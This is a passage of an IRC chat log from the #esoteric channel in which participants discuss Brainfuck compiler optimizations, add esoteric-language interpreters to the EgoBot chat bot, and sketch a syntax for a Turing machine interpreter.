< 1241308815 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, dock isn't killed < 1241308816 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :there < 1241308824 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: dock reopens after being killed < 1241308826 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :aha < 1241308833 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :but the process that was minimizing it stops, which is all you need < 1241308848 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, 10.4 too or < 1241308856 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Yes. < 1241308907 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, interacting with it must be odd < 1241308934 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :!c printf("%d", (long int) printf) < 1241308935 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :4195272 < 1241308935 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Yes, it doesn't offset for the warping so it's mostly trial and error via link hover effects, and if focusing something requires going out of the frame, shit sux you can't click it < 1241309002 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :On the other hand, for a text editor with a cursor with no mouse-related activities it is rather usable. < 1241309015 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Yyyyyyyyyyyyyes, apart from the whole reading thing. < 1241309023 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Did you just try? :P < 1241309032 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :No, I tried earlier. < 1241309050 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :OTHER PEOPLE KNOW? :( < 1241309058 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Yes, the secret is out! < 1241309073 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :They should have some sort of generic window-deformation tool, though. < 1241309074 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Oh, you meant after I said < 1241309078 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Haha < 1241309078 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1241309087 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :You know those old java applets where you pinch a image around? < 1241309089 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Do that for windows. < 1241309089 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :No, I meant "a year ago or so". < 1241309093 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :And oh :( < 1241309136 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Then you wouldn't need an image editing application to make a funny face; just twiddle the browser window. < 1241309142 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1241309494 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, how did you discover it < 1241309501 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :not sure. < 1241309508 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :i think i was just messing < 1241309515 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :as usual < 1241309516 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :;P < 1241309947 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lifthrasiir, < 1241309952 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :http://gcc.gnu.org/wiki/Graphite?action=AttachFile&do=get&target=graphite_lambda_tutorial.pdf < 1241309956 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :maybe use same idea < 1241309962 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :for your bf < 1241309963 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1241310028 0 :lifthrasiir!unknown@unknown.invalid PRIVMSG #esoteric :great. < 1241310074 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lifthrasiir, was that sarcastic < 1241310081 0 :lifthrasiir!unknown@unknown.invalid PRIVMSG #esoteric :nope, < 1241310111 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :GCC does it on C and FORTRAN code and such < 1241310114 0 :lifthrasiir!unknown@unknown.invalid PRIVMSG #esoteric :just a thought after seeing AMD logo below. < 1241310123 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lifthrasiir, yes? < 1241310132 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what about it < 1241310137 0 :lifthrasiir!unknown@unknown.invalid PRIVMSG #esoteric :no, no, i said "great." after that thought < 1241310147 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Gawd, my system spends an awful lot of time seeking the HD < 1241310147 0 :lifthrasiir!unknown@unknown.invalid PRIVMSG #esoteric :so it is not sarcastic at all < 1241310150 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :AMD contributed this I think < 1241310238 0 :lifthrasiir!unknown@unknown.invalid PRIVMSG #esoteric :in meantime i'm generalizing propagation pass to every node in the loop, rather than consecutive memory ops < 1241310271 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Meh, I gotsa write my own compiler now. < 1241310299 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :hmm < 1241310306 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: you can't polynomialize an IO-using loop can you < 1241310310 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :well < 1241310314 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, depends < 1241310321 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :you can do before-io and after-io and then output poly1;io;poly2 < 1241310330 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :indeed < 1241310346 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :in fact I polynomalised any blocks iirc < 1241310351 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :ANY? < 1241310352 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well < 1241310357 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :they have to have balancedness < 1241310359 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, any balanced < 1241310370 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :[+>+>-<+,<<-] < 1241310371 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :inner ones < 1241310371 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :let's se < 1241310372 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :e < 1241310374 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :that'd become < 1241310400 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, and for unbalanced I did as much flattening out as possible < 1241310412 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :for that , you could move the - to before < 1241310418 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :since it doesn't touch same cell < 1241310433 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so store motion pass or something with a fancy word < 1241310437 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :_0+1, _1+2, _2-1, _0+1; _0=inp; _2-1 < 1241310454 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : _0+1, _1+2, _2-2, _0+1; _0=inp; < 1241310455 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :even < 1241310464 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :maybe. < 1241310465 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and < 1241310475 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :_0+2, _1+2, _2-2; _0=inp; < 1241310476 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I'll optimize +/- before , < 1241310478 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :and whatnot < 1241310486 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, you need to track memory cells < 1241310493 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and see which ones are clobbered < 1241310496 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :no, just final destination < 1241310498 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :er < 1241310499 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :right < 1241310501 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :i see what you mean < 1241310530 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, don't make , act as a full "fence", make it act as a fence on that specific cell. < 1241310536 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :right. < 1241310575 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, you can do this limited even in unbalanced ones. Just not for all, rather per iteration < 1241310576 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :$0+1; $2-1; ($-1)-1; $1=input; ptr=1 < 1241310581 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and this is basic still < 1241310584 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :is the optimal form of [+>+>-<+,<<-] < 1241310597 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :this is done before polynomization < 1241310603 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :way before < 1241310614 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :right < 1241310620 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :lifthrasiir: do you optimize stuff into for loops? < 1241310624 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :the current leading compiler does < 1241310641 0 :lifthrasiir!unknown@unknown.invalid PRIVMSG #esoteric :ehird: what do you mean? < 1241310645 0 :lifthrasiir!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1241310649 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :http://esoteric.sange.fi/brainfuck/impl/compilers/bf2c.hs < 1241310667 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, oh also you of course try to track known fixed values of cells < 1241310669 0 :lifthrasiir!unknown@unknown.invalid PRIVMSG #esoteric :hmm not yet. i'm counting loop count for restricted cases yet. < 1241310678 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :after [-] you know the cell is 0 < 1241310689 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :lifthrasiir: you should check out that compiler, it eliminates "variables" (places on the tape) etc < 1241310691 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so then you can fold +++ into "set 3" instead of "add 3" < 1241310692 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, ^ < 1241310699 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: duh < 1241310709 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, which simplifies a lot later < 1241310712 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :in polynoms < 1241310724 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :if a cell is reset each iteration I mean < 1241310728 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :to a fixed value < 1241310741 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and you are making a polynom < 1241310747 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :then no need to calc that < 1241310765 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :If you made bf2c.hs do polynomials it'd kick everything else out of the water < 1241310909 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, does that one turn ++>-<++ into ++++>-< < 1241310919 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: it does everything < 1241310926 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :------------------------------------------------------------------------------ < 1241310927 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :-- remove Move-s < 1241310928 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :------------------------------------------------------------------------------ < 1241310930 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :-- the idea here is to combine Move-s along the program by pushing < 1241310932 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :-- them to the end, pushing them through other operations by updating < 1241310934 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :-- these operation's offset; the final move offset is then incorporated < 1241310936 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :-- into the surrounding loop, or, in case of the main program, dropped. < 1241310938 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :(apart from polys) < 1241310939 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :EgoBot, not polynomials? < 1241310941 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1241310947 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, there are more tricks < 1241310947 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :egobot XD < 1241310948 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :than that < 1241310954 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, ^ < 1241311035 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: it does pretty much all tricks apart from polys < 1241311035 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :see the other functions < 1241311036 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, I'm sure there is other stuff you can do that it doesn't. < 1241311036 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :yes, but not known < 1241311036 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: the actual program ++>-<++ is turned into < 1241311036 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric : data[p] += 4; < 1241311036 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric : data[p+1] += -1; < 1241311036 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, does it strip [-] at start of program < 1241311036 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :it turns it into data[p]=0; which gcc optimizes out. < 1241311036 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1241311038 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: also, [-]+[-]+ becomes < 1241311039 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :data[p]=1 < 1241311043 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1241311043 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :well, with a space and a ; < 1241311046 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, I did that one < 1241311046 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :cba to copypaste :P < 1241311048 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1241311049 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :I know < 1241311057 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and I did < 1241311058 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : data[p] += 4; < 1241311058 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : data[p+1] += -1; < 1241311059 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :too < 1241311062 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: oh wait, it does polynomials < 1241311065 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :data Term = Const Int -- Int < 1241311065 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric : | Var Int -- data[p+Int] < 1241311066 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric : | Sum [Term] -- (Term+Term+...+Term) < 1241311068 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric : | Mul [Term] -- (Term*Term*...*Term) < 1241311070 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric : deriving Show < 1241311084 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, like me. But does it do nested polynominals < 1241311097 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :like [balaced loop [nested balanced loop ]] < 1241311113 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: ,[.+>,[>+<-].<,] becomes: < 1241311117 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric : data[p] = getchar(); < 1241311117 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric : for ( ; data[p]; ) { < 1241311118 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric : putchar(data[p]); fflush(stdout); < 1241311120 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric : data[p+1] = getchar(); < 1241311122 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric : data[p+2] += data[p+1]; < 1241311123 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :aah! < 1241311124 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric : data[p+1] = 0; < 1241311126 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric : putchar(data[p+1]); fflush(stdout); < 1241311128 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric : data[p] = getchar(); < 1241311130 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric : } < 1241311132 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :flattens it out into one loop :) < 1241311138 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, that is good < 1241311140 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :yep < 1241311142 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what happens with no input < 1241311146 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or input before < 1241311150 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so it doesn't know values < 1241311158 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :eh? there IS input before < 1241311162 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :and in the loop < 1241311163 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :twice < 1241318911 0 :clog!unknown@unknown.invalid JOIN :#esoteric < 1241318911 0 :clog!n=nef@bespin.org JOIN :#esoteric < 1241320326 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Whoah, clog is back :P < 1241320328 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Is there any Glypho example code? < 1241323440 0 :bsmntbombdood!unknown@unknown.invalid QUIT :Read error: 104 (Connection reset by peer) < 1241323479 0 :bsmntbombdood!n=gavin@97-118-129-241.hlrn.qwest.net JOIN :#esoteric < 1241323526 0 :bsmntbombdood!unknown@unknown.invalid QUIT :Read error: 104 (Connection reset by peer) < 1241324175 0 :calamari!n=calamari@ip70-171-213-254.tc.ph.cox.net JOIN :#esoteric < 1241324987 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!addinterp echo bf ,[.,] < 1241324987 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Interpreter echo installed. < 1241324992 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!echo Hewwo < 1241324992 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Hewwo < 1241325047 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :What esolangs are only implemented in esolangs? < 1241325079 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :dunno < 1241325084 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :your cat is apparently < 1241325118 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :That's not the world's most exciting esolang :P < 1241325195 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!addinterp rebf bf http://esoteric.sange.fi/brainfuck/bf-source/prog/BFI.BF < 1241325196 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Interpreter rebf installed. < 1241325208 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!rebf +++++++++++[>++++++>+++>++++>+<<<<-]>++++++.+++++++++++++++++++++++++++++.+++++++..+++.>>.<-.<++++++++.--------.+++.------.--------.>+.>>-. < 1241325216 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Well that doesn't appear to work at all :P < 1241325235 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Hm, it is running ... < 1241325244 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Could it just be that slow? < 1241325249 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :it could < 1241325305 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :We'll never know, it just got killed :P < 1241325310 0 :calamari!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: doesn't it need an ! at the end? < 1241325312 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :on a slightly related note, do you know any good languages for expressing Turing machines? < 1241325314 0 :calamari!unknown@unknown.invalid PRIVMSG #esoteric :or the beginning < 1241325320 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :calamari: Oh, mebbe :( < 1241325324 0 :calamari!unknown@unknown.invalid PRIVMSG #esoteric :to separate input and code < 1241325326 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :coppro: I would love to see one. < 1241325348 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :*Addinterp*? :D < 1241325365 0 :calamari!unknown@unknown.invalid PRIVMSG #esoteric :!rebf !+++++++++++[>++++++>+++>++++>+<<<<-]>++++++.+++++++++++++++++++++++++++++.+++++++..+++.>>.<-.<++++++++.--------.+++.------.--------.>+.>>-. < 1241325379 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :And since Egobot can handle C now... < 1241325384 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :That's one extensible bot. < 1241325388 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :bfi446 seems to like to output obscene amounts of whitespace at the end ... < 1241325403 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Unfortunately, it can't support sub-sub-interps, because the program is sent to the user interpreter via stdin. < 1241325419 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: Shame. < 1241325431 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Not really any other way to do it though :P < 1241325445 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Named pipe as the first argument? :p < 1241325465 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Most esolangs don't accept arguments. < 1241325470 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :True. < 1241325497 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ACTION goes and writes a simple Turing interpreter < 1241325538 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :coppro: Sweet, make sure it's open sauce so I can add it to EgoBot :P < 1241325585 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :just don't leave it open too long or it'll get rotten :P < 1241325608 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!delinterp rebf < 1241325608 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Interpreter rebf deleted. < 1241325616 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!addinterp rebf bf http://esoteric.voxelperfect.net/files/brainfuck/src/kbfi.b < 1241325616 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Interpreter rebf installed. < 1241325623 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!rebf +++++++++++[>++++++>+++>++++>+<<<<-]>++++++.+++++++++++++++++++++++++++++.+++++++..+++.>>.<-.<++++++++.--------.+++.------.--------.>+.>>-. < 1241325623 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric : And since Egobot can handle C now... < 1241325623 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Hello, world! < 1241325633 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Heh, copied an extra line there :P < 1241325660 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: Does egobot have a way to control the stdin of your command? < 1241325702 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :coppro: Not yet. < 1241325713 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :I haven't thought of how I want to cleanly (re)implement that. < 1241325720 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :But T.m.s don't have input anyway ;) < 1241325725 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :they have tape < 1241325730 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :(Well, yes they do, the input on the tape) < 1241325730 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Yeah < 1241325746 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!help < 1241325746 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Supported commands: addinterp bf_txtgen delinterp help info userinterps 1l 2l adjust asm axo bch befunge befunge98 bf bf16 bf32 bf8 c cxx dimensifuck echo forth glass glypho kipple lambda lazyk linguine malbolge pbrain qbf rail rebf rhotor sadol sceql sh test trigger udage01 underload unlambda whirl < 1241325756 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Heh, gettin' near the limit there :P < 1241325827 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I'm envisioning that each tape unit can contain a whitespace-free string, and the input format would just be the number of spaces into the tape it starts at, the default symbol of the tape, and then the tape. < 1241325839 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :all whitespace-separated < 1241325880 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :oh, crap, boost 1.39 is out < 1241325888 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Why not a bitwise tape? T.m.s with any alphabet are reducible to 1-bit T.m.s < 1241325929 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :(And don't give me any of this "because that's obnoxious" baloney :P ) < 1241326170 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!addinterp bfbignum bf http://esoteric.voxelperfect.net/files/brainfuck/src/kbfi.b < 1241326171 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Interpreter bfbignum installed. < 1241326175 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!delinterp rebf < 1241326175 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Interpreter rebf deleted. < 1241326177 0 :coppro!unknown@unknown.invalid QUIT :Read error: 104 (Connection reset by peer) < 1241326225 0 :coppro!n=coppro@unaffiliated/coppro JOIN :#esoteric < 1241326266 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :(kbfi apparently runs a bignum BF on an 8-bit BF! Whoot :) ) < 1241326276 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!bfbignum +++++++++++[>++++++>+++>++++>+<<<<-]>++++++.+++++++++++++++++++++++++++++.+++++++..+++.>>.<-.<++++++++.--------.+++.------.--------.>+.>>-. < 1241326276 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Hello, world! < 1241326433 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Proposed definition format: http://pastie.org/466430 < 1241326463 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :: ; * < = > are reserved symbols, anything else can be used in a state or tape name < 1241326486 0 :lifthrasiir!unknown@unknown.invalid PRIVMSG #esoteric :so far i got hello world program almost optimized: http://pastie.org/private/j5veaiikl1x8vtwm0ov2ta . hehe. < 1241326533 0 :lifthrasiir!unknown@unknown.invalid PRIVMSG #esoteric :(that is my attempt for brainfuck optimizer, written for hours) < 1241326575 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :thoughts? < 1241326668 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :coppro: What is the meaning of Q, A, E? < 1241326675 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :states < 1241326678 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :lifthrasiir: Does it ever eff up valid programs? < 1241326684 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :yellow and blue are tape values < 1241326685 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :coppro: Oh, duh X-P < 1241326696 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Right < 1241326706 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :<= or => is the direction to move < 1241326752 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :TBH I'm not enamored with it ... < 1241326753 0 :lifthrasiir!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: at least i managed to reduce gcc's compilation time. though there are more optimizations to do. < 1241326821 0 :lifthrasiir!unknown@unknown.invalid PRIVMSG #esoteric :i don't know whether gcc treats invidiual memory cell as variable and does optimize accordingly. < 1241326824 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: I wrote that in about 10 seconds, feel free to suggest better ideas! < 1241326961 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :syntax will be an easy thing to rewrite anyways... best to have somewhere to start < 1241327031 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :coppro: (E(yellow) < Q(yellow)) (E(blue) > A(yellow)) (A(blue) accept) (A(yellow) = E(blue)) (Q(yellow) = Q(blue)) (Q(blue) < E(yellow)) < 1241327051 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Only with newlines instead of paren'd groups. < 1241327060 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :accept? < 1241327069 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :I was assuming that '*' = halt? < 1241327072 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1241327081 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :So, is it halt and accept or halt and reject? < 1241327095 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :oh, you're counting accept and reject separately < 1241327117 0 :GregorR!unknown@unknown.invalid PRIVMSG 